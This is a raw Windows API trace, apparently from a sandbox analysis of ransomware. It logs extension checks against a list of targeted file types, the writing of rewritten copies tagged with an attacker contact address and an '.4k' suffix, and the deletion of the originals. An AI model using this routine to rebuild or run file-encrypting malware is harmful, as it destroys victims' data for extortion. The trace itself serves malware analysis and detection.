	[0105.485] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0105.485] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif")) returned 1
	[0105.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74
	[0105.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74
	[0105.485] lstrlenW (lpString=".doc") returned 4
	[0105.486] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0105.486] lstrlenW (lpString=".docx") returned 5
	[0105.486] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0105.486] lstrlenW (lpString=".pdf") returned 4
	[0105.486] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0105.486] lstrlenW (lpString=".xls") returned 4
	[0105.486] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0105.486] lstrlenW (lpString=".xlsx") returned 5
	[0105.486] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0105.486] lstrlenW (lpString=".ppt") returned 4
	[0105.486] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0105.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74
	[0105.486] lstrlenW (lpString=".zip") returned 4
	[0105.486] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0105.486] lstrlenW (lpString=".rar") returned 4
	[0105.486] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0105.486] lstrlenW (lpString=".bz2") returned 4
	[0105.486] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0105.486] lstrlenW (lpString=".7z") returned 3
	[0105.486] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0105.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74
	[0105.486] lstrlenW (lpString=".dbf") returned 4
	[0105.486] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0105.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74
	[0105.486] lstrlenW (lpString=".1cd") returned 4
	[0105.486] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0105.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74
	[0105.486] lstrlenW (lpString=".jpg") returned 4
	[0105.486] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0105.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74
	[0105.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74
	[0105.487] lstrlenW (lpString=".doc") returned 4
	[0105.487] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0105.487] lstrlenW (lpString=".docx") returned 5
	[0105.487] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0105.487] lstrlenW (lpString=".pdf") returned 4
	[0105.487] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0105.487] lstrlenW (lpString=".xls") returned 4
	[0105.487] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0105.487] lstrlenW (lpString=".xlsx") returned 5
	[0105.487] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0105.487] lstrlenW (lpString=".ppt") returned 4
	[0105.487] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0105.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74
	[0105.487] lstrlenW (lpString=".zip") returned 4
	[0105.487] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0105.488] lstrlenW (lpString=".rar") returned 4
	[0105.488] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0105.488] lstrlenW (lpString=".bz2") returned 4
	[0105.488] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0105.488] lstrlenW (lpString=".7z") returned 3
	[0105.488] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0105.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74
	[0105.488] lstrlenW (lpString=".dbf") returned 4
	[0105.488] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0105.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74
	[0105.488] lstrlenW (lpString=".1cd") returned 4
	[0105.488] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0105.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74
	[0105.488] lstrlenW (lpString=".jpg") returned 4
	[0105.488] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0105.488] lstrcmpiW (lpString1=".GIF", lpString2=".4k") returned 1
	[0105.488] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0105.488] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0105.489] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=1379) returned 1
	[0105.489] CloseHandle (hObject=0x1e4) returned 1
	[0105.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif")) returned 0x20
	[0105.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0105.489] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0105.489] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.489] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.489] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0105.738] GetLastError () returned 0x0
	[0105.738] ReadFile (in: hFile=0x1e4, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x563, lpOverlapped=0x0) returned 1
	[0105.833] WriteFile (in: hFile=0x1f8, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0x570, lpOverlapped=0x0) returned 1
	[0105.833] ReadFile (in: hFile=0x1e4, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x0, lpOverlapped=0x0) returned 1
	[0105.833] WriteFile (in: hFile=0x1f8, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0105.834] SetEndOfFile (hFile=0x1f8) returned 1
	[0105.834] CloseHandle (hObject=0x1f8) returned 1
	[0105.834] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.834] SetEndOfFile (hFile=0x1e4) returned 1
	[0105.835] CloseHandle (hObject=0x1e4) returned 1
	[0105.835] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0105.835] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif")) returned 1
	[0105.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73
	[0105.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73
	[0105.835] lstrlenW (lpString=".doc") returned 4
	[0105.835] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0105.835] lstrlenW (lpString=".docx") returned 5
	[0105.835] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0105.835] lstrlenW (lpString=".pdf") returned 4
	[0105.835] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0105.835] lstrlenW (lpString=".xls") returned 4
	[0105.835] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0105.835] lstrlenW (lpString=".xlsx") returned 5
	[0105.835] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0105.835] lstrlenW (lpString=".ppt") returned 4
	[0105.835] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0105.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73
	[0105.835] lstrlenW (lpString=".zip") returned 4
	[0105.835] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0105.835] lstrlenW (lpString=".rar") returned 4
	[0105.836] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0105.836] lstrlenW (lpString=".bz2") returned 4
	[0105.836] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0105.836] lstrlenW (lpString=".7z") returned 3
	[0105.836] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0105.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73
	[0105.836] lstrlenW (lpString=".dbf") returned 4
	[0105.836] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0105.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73
	[0105.836] lstrlenW (lpString=".1cd") returned 4
	[0105.836] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0105.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73
	[0105.836] lstrlenW (lpString=".jpg") returned 4
	[0105.836] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0105.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73
	[0105.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73
	[0105.836] lstrlenW (lpString=".doc") returned 4
	[0105.836] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0105.836] lstrlenW (lpString=".docx") returned 5
	[0105.836] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0105.836] lstrlenW (lpString=".pdf") returned 4
	[0105.836] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0105.836] lstrlenW (lpString=".xls") returned 4
	[0105.836] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0105.836] lstrlenW (lpString=".xlsx") returned 5
	[0105.836] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0105.836] lstrlenW (lpString=".ppt") returned 4
	[0105.836] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0105.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73
	[0105.837] lstrlenW (lpString=".zip") returned 4
	[0105.837] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0105.837] lstrlenW (lpString=".rar") returned 4
	[0105.837] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0105.837] lstrlenW (lpString=".bz2") returned 4
	[0105.837] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0105.837] lstrlenW (lpString=".7z") returned 3
	[0105.837] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0105.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73
	[0105.837] lstrlenW (lpString=".dbf") returned 4
	[0105.837] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0105.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73
	[0105.837] lstrlenW (lpString=".1cd") returned 4
	[0105.837] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0105.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73
	[0105.837] lstrlenW (lpString=".jpg") returned 4
	[0105.837] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0105.837] lstrcmpiW (lpString1=".PNG", lpString2=".4k") returned 1
	[0105.837] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0105.837] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0105.838] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=37440) returned 1
	[0105.838] CloseHandle (hObject=0x1e4) returned 1
	[0105.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png")) returned 0x20
	[0105.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0105.838] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0105.838] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.838] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.838] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0105.838] GetLastError () returned 0x0
	[0105.839] ReadFile (in: hFile=0x1e4, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x9240, lpOverlapped=0x0) returned 1
	[0105.883] WriteFile (in: hFile=0x1f8, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0x9250, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0x9250, lpOverlapped=0x0) returned 1
	[0105.884] ReadFile (in: hFile=0x1e4, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x0, lpOverlapped=0x0) returned 1
	[0105.884] WriteFile (in: hFile=0x1f8, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0105.884] SetEndOfFile (hFile=0x1f8) returned 1
	[0105.885] CloseHandle (hObject=0x1f8) returned 1
	[0105.885] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.885] SetEndOfFile (hFile=0x1e4) returned 1
	[0105.886] CloseHandle (hObject=0x1e4) returned 1
	[0105.886] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0105.886] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png")) returned 1
	[0105.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76
	[0105.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76
	[0105.886] lstrlenW (lpString=".doc") returned 4
	[0105.886] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0105.886] lstrlenW (lpString=".docx") returned 5
	[0105.886] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0105.886] lstrlenW (lpString=".pdf") returned 4
	[0105.886] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0105.886] lstrlenW (lpString=".xls") returned 4
	[0105.886] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0105.886] lstrlenW (lpString=".xlsx") returned 5
	[0105.886] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0105.886] lstrlenW (lpString=".ppt") returned 4
	[0105.886] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0105.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76
	[0105.887] lstrlenW (lpString=".zip") returned 4
	[0105.887] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0105.887] lstrlenW (lpString=".rar") returned 4
	[0105.887] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0105.887] lstrlenW (lpString=".bz2") returned 4
	[0105.887] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0105.887] lstrlenW (lpString=".7z") returned 3
	[0105.887] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0105.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76
	[0105.887] lstrlenW (lpString=".dbf") returned 4
	[0105.887] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0105.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76
	[0105.887] lstrlenW (lpString=".1cd") returned 4
	[0105.887] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0105.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76
	[0105.887] lstrlenW (lpString=".jpg") returned 4
	[0105.887] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0105.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76
	[0105.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76
	[0105.887] lstrlenW (lpString=".doc") returned 4
	[0105.887] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0105.887] lstrlenW (lpString=".docx") returned 5
	[0105.887] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0105.887] lstrlenW (lpString=".pdf") returned 4
	[0105.887] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0105.887] lstrlenW (lpString=".xls") returned 4
	[0105.887] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0105.887] lstrlenW (lpString=".xlsx") returned 5
	[0105.887] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0105.887] lstrlenW (lpString=".ppt") returned 4
	[0105.887] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0105.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76
	[0105.887] lstrlenW (lpString=".zip") returned 4
	[0105.887] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0105.888] lstrlenW (lpString=".rar") returned 4
	[0105.888] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0105.888] lstrlenW (lpString=".bz2") returned 4
	[0105.888] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0105.888] lstrlenW (lpString=".7z") returned 3
	[0105.888] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0105.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76
	[0105.888] lstrlenW (lpString=".dbf") returned 4
	[0105.888] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0105.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76
	[0105.888] lstrlenW (lpString=".1cd") returned 4
	[0105.888] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0105.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76
	[0105.888] lstrlenW (lpString=".jpg") returned 4
	[0105.888] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0105.888] lstrcmpiW (lpString1=".PNG", lpString2=".4k") returned 1
	[0105.888] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0105.888] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0105.888] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=16738) returned 1
	[0105.888] CloseHandle (hObject=0x1e4) returned 1
	[0105.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png")) returned 0x20
	[0105.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0105.889] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0105.889] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.889] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.889] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0105.889] GetLastError () returned 0x0
	[0105.889] ReadFile (in: hFile=0x1e4, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x4162, lpOverlapped=0x0) returned 1
	[0105.890] WriteFile (in: hFile=0x1f8, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0x4170, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0x4170, lpOverlapped=0x0) returned 1
	[0105.891] ReadFile (in: hFile=0x1e4, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x0, lpOverlapped=0x0) returned 1
